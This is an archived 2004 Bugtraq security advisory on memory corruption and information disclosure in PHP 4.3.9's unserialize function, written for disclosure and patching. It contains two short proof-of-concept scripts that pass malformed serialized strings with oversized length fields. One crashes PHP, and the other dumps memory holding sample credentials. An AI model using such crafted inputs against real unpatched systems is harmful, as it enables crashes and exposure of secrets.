

php unserialize

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/bugtraq/2004-12/0182.html>

From: Martin Eiszner (martin_at_websec.org)

Date: 12/15/04

Date: Wed, 15 Dec 2004 22:32:54 +0100

To: bugtraq@securityfocus.com

=====
SEC-CONSULT Security Advisory PHP - 4.3.9 unserialize function

=====OOOOOOOOOO=====

Product: PHP 4.3.9 (Win32/Unix)

Remarks: no other Versions tested but very likely vulnerable

Vulnerabilities:

- Data Segment memory corruption
- Information disclosure / Memory dumping

Vendor: PHP (<http://www.php.net/>)

Vendor-Status: vendor contacted (19.11.2004)

Vendor-Patches: vendor has released bugfixed versions

Object: ---

Exploitable:

Local: ---

Remote: PARTIAL (OS-dependent)

=====
Introduction

=====
Visit "<http://www.php.net/>" for additional information.

=====
Vulnerability Details

=====
1) Memory Corruption / buffer overflow

=====
FUNCTION:

php unserialize

SecurityFocus Bugtraq: php unserialize

unserialize (<http://at.php.net/manual/en/function.unserialize.php>)

DESCRIPTION:

Insufficient input validation of serialized strings lead to memory corruption and information disclosure.

EXAMPLE script – "Segfault":

```
---cut here---
<?
$s = 's:9999999:"A"';
$a = unserialize($s);
print $a;
?>
---cut here---
```

REMARKS:

leads to arbitrary code execution and file/information disclosure.

EXAMPLE script – "Memory Dump":

```
---cut here---
<?
// session- and stuff
$secret_username="uaaaa";
$secret_password="hoschi";

// stuff
// $c = $_COOKIE ['crypted_stuff']
// $c = some cookie
/* simplified --> userInput */ $c = 's:30000:"crap"';

$userdata = unserialize($c);
//
// check $userdata stuff
// for some reason output $userdata
print $userdata . "\n is NOT valid !!\n";

// stuff
?>
---cut here---
```

REMARKS:

Could theoretically be used to circumvent safe-mode and/or gain sensitive information about script- and memory areas.

GENERAL REMARKS

We would like to apologize in advance for potential nonconformities and/or known issues.

=====

FOR SOME STRANGE REASONS HARDENED-PHP.NET HAS RELEASED THIS ADVISORY TODAY TOGETHER WITH A BUNCH OF OTHER VULNERABILITIES

=====
Recommended Hotfixes
=====

Vendor-Patches: vendor has released bugfixed versions

=====
Contact
=====

SEC-CONSULT
Austria / EUROPE
m.eiszner@sec-consult.com

EOF Martin Eiszner / @2004m.eiszner@sec-consult.com